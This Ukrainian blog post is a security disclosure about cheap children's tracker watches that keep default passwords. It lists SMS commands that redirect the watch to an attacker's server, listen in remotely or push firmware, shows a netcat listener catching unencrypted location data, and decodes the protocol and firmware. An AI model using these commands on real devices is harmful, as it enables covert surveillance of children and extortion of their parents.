Майже усі дитячі китайські трекери йдуть із дефолтним паролем 123456 або 523681. Знаючи номер телефону трекeра звичайною SMS можна переконфігурувати пристрій і не тільки.
При купівлі всі встановлюють SeTracker, створюють акаунт і віддають дитині. Це пряма кіберзагроза для дітей і батьків, тому знайдіть час на зміну конфігурації.
Розглянемо сценарії, які спадають на думку:
- подзвонити або відправити SMS на платний номер, кошти із рахунку будуть списано, особливо якщо це контрактний номер, або сім пара (тому в такі пристрої тільки пріпейд карта із малою кількістю коштів);
- отримати місце положення пристрою;
- перелаштувати на свій сервер, причому сервер може проксувати дані на SeTracker і зловмисник може писати місцеположення і при потребі запускати певні сценарії;
- Відправити тривожне повідомлення, вимкнути пристрій і обробляти батьків (зараз є сценарії, коли дзвонять батькам і вимагають кошти, наприклад дитина в поліції і т.д.);
- Прослухати обстановку навколо;
- Лякати дитину.
Експлуатувати пристрій навіть можна із сервісів web sms. Потрібно тільки знати номер картки встановленої у трекер.
Переглянути конфігурацію пристрою
pw,123456,ts#
Якщо пароль правильний, або відправлено із номера center прийде відповідь. На фото стандартне налаштування.
ver:G610S_PL_V1.0_2017.10.16_10.05.39; ID:1200055555; imei:357412000555553; ip_url:52.28.132.157; port:8001; center:; slave:; sos1:0670000011; sos2:0670000022; sos3:0670000033; profile:1; upload:600S; bat level:66; language:0; zone:3.00; GPS:NO(0); GPRS:OK(87);
Конфігурацію з’єднання із сервером
pw,123456,tt#
ID:1200055555; ZCM:012008297393478; ip_url:52.28.132.157; port:8001;
pw,123456,url#
url: http://maps.google.com/maps?q=N49.800001,E23.980001 Locate date:2019-7-6 Locate time:14:21:16
Щоб убезпечити пристрій потрібно:
Вказати номер адміністратора пристрою
pw,12346,center,+380670000011#
center: +380670000011.ok!
pw,123456,pw,555555#
Інші команди і можливості спілкування
pw,123456,factory#
pw,123456,reset#
pw,123456,poweroff#
pw,123456,time,hh.mm.ss,date,yyyy.mm.dd#
pw,123456,timecali#
pw,123456,lz,1,3#
pw,123456,sos1,+38067111111#
pw,123456,sos,+38067111111,+380672222222,+380673333333#
pw,123456,apn,www.ab.kyivstar.net#
pw,123456,imei,xxxxxxxxxxxxxxx#
pw,123456,upgrade,http://uaid.net.ua/share/jt_ads.bin#
pw,123456,tel1,+380678888888#
pw,123456,upload,300#
pw,123456,monitor,+380679999999#
pw,123456,call,+481234567#
pw,123456,sms,+380670000000,Привіт#
pw,123456,makefriend,0#
pw,123456,smsonoff,1#
pw,123456,tkonoff,1#
pw,123456,bt,1#
pw,123456,wifi,1#
pw,123456,removesms,1#
pw,123456,flower,7#
pw,123456,pedo,1#
pw,123456,find#
pw,123456,verno#
pw,123456,cr#
pw,123456,sossms,1#
pw,123456,message,MESAGE#
pw,123456,phbonoff,1#
pw,123456,phb,номер_1,імя_1,номер_2,імя_2,номер_3,імя_3,номер_4,імя_4,номер_5,імя_5#
pw,123456,whitelist1,номер_1,номер_2,номер_3,номер_4,номер_5#
pw,123456,bigtime,1#
pw,123456,profile,1#
pw,123456,gsmant,1#
[gsmant,1#] ok!
pw,123456,ip,111.22.33.44,8080#
[surl,111.22.33.44,port,8080#] ok!
Піднімаємо свій сервер
Після зміни конфігурації сервера, трекер починає підключатися до сервера. Відкриваємо порт, наприклад nc -lv 8080 і чекаємо вхідних даних. І тут до наш трекер стукає. Жодного шифрування, чи підписування даних. В 21 столітті слати нешифровані дані негарно.
[3G*1200055555*0009*LK,0,0,45]
Починаємо гуглити, і знаходимо прокол Mictrack Communication Protocol.
Розшифруємо: 3G – назва виробника, 1200055555 – ідентифікатор пристрою (10 цифр, які є у IMEI годинника), 0009 – довжина наступних даних у HEX форматі, 0 – кількість кроків, 0 – активність, 45 – заряд батареї.
Також присилаються дата, час, координати, швидкість, напрям, висота, кількість сателітів, сигнал GSM, заряд АКБ, кроки, активність, статус, кількість базових станцій (беремо при парсенні), лінк до станції, MCC, MNC, код зони GSM, код сектору, рівень сигналу, 2 вишка, 3 сота, 4 сота, 5сота, 6 сота, 7сота, кількість wifi точок навколо, mac, назви точок навколо і їх рівень, невідоме значення.
[3G*1200055555*0174*UD2,060719,182953,V,49.800001,N,23.980001,E,0.00,0.0,0.0,0,30,40,0,0,00000018,7,2,255,3,10195,38222,123,10195,222,144,10195,221,132,10195,223,130,10194,133,130,10196,332,126,10195,8222,124,5,IoT_D4921C,24:7:d3:d4:92:1c,-64,СпецЗв'язок,89:3:c1:43:19:d3,-65,Vasi,39:ad:ed:32:d7:67,-85,Tenda_178D11,4:95:e6:17:8d:11,-88,UKrtelecom_161F77,18:d6:c7:16:1F:77,-89,61.8]
Далі піднімаємо свій сервер (я підняв на NodeJS), логуємо усі дані у базу даних (MySQL), парсимо, і керуємо трекером-годинником через Telegram бот (отримати позицію, останню і поточну, передати повідомлення на годинник, відправити і отримати аудіо чатом (кодування звуку AMR) ).
Специфічні функції можна відловити зробивши проксі сервер і відправляти дані на офіційний сервер.
При підключенні годинника до комп’ютера, появляється диск розміром 6,82 Мб, із наступною ієрархією:
├ audior - директорія, збереження аудіофайлів ├ Photos - директорія, збереження фотографій ├ Updata - директорія із прошивкою годинника │ └ jt_ads.bin - прошивка годинника └ mtkepo.bin - бінарник
Прошивки Q360 (G610, G51, GW600):
G610S_PL_V1.0_2017.10.16_10.05.39 G610S_PL_V1.0_2018.05.14_18.27.39
При натисканні швидко 8 разів кнопки живлення, появляється сервісне меню статусів:
UPD: Якщо закинути інший файл, то велика ймовірність що годинник зависне на заставці. Тут процесор MTK6261. Ставимо драйвер MS_USB_ComPort_Driver_exe_v1.1032.1, затискаємо кнопку SOS при виключеному годиннику і підключаємо до комп’ютера. Має появитися COM порт. FlashTool_v5.1516.00 можна вичитати флеш. Пам’ять відобразило GD25LQ128 (0x01000000). backup.cfg:
general: config_version : alpha platform: MT6260 boot_region: alignment: block rom: - file: BOOTLOADER - file: EXT_BOOTLOADER control_block_region: rom: main_region: alignment: block rom: - file: ROM - file: VIVA
Нутрощі, виявляється є GPS – мікро антена. Акумулятор 400 мАг. Плата маркування G610S.
Процесор MT5931A, пам’ять 25LQ128CWIG.
Висновок: враховуючи дешевизну пристроїв, простоту користування навколо нас появилися тисячі пристроїв, які може експлуатувати зловмисники, і сюжети з Чорного Дзеркала можуть стати реальністю…
При написанні свого сервера на NodeJS і прийому даних з трекера виникли такі кейси:
Із трекера може прийти одна команда, тут все просто робимо парсинг regex.
[3G*1208544453*000A*LK,0,0,100]
Но в пакеті може прийти декілька команд. Ділимо на 2.
[3G*1208544453*0002*TS][3G*1208544453*0004*TKQ2][3G*1208544453*0003*TKQ][3G*1208544453*0004*TKQ2]
А може прийти неповний пакет, також помічено що вихідний буфер годинника 1024 байти. Парсимо перший пакет, залишок кладемо в локальний кеш і далі парсимо.
[3G*1208544453*0002*TS][3G*1208544453*000
3*TKQ][3G*1208544453*0004*TKQ2]
Юрій Р. ◯ 0009-0005-3702-9223. (2019). Безпека дітей або троянський кінь на руці. Блог UA ID. Взято з: https://blog.uaid.net.ua/watch-tracker-trojan-horse